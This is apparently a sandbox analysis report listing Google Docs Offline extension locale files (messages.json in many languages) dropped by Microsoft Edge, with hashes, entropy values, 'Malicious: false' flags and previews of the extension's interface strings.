File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
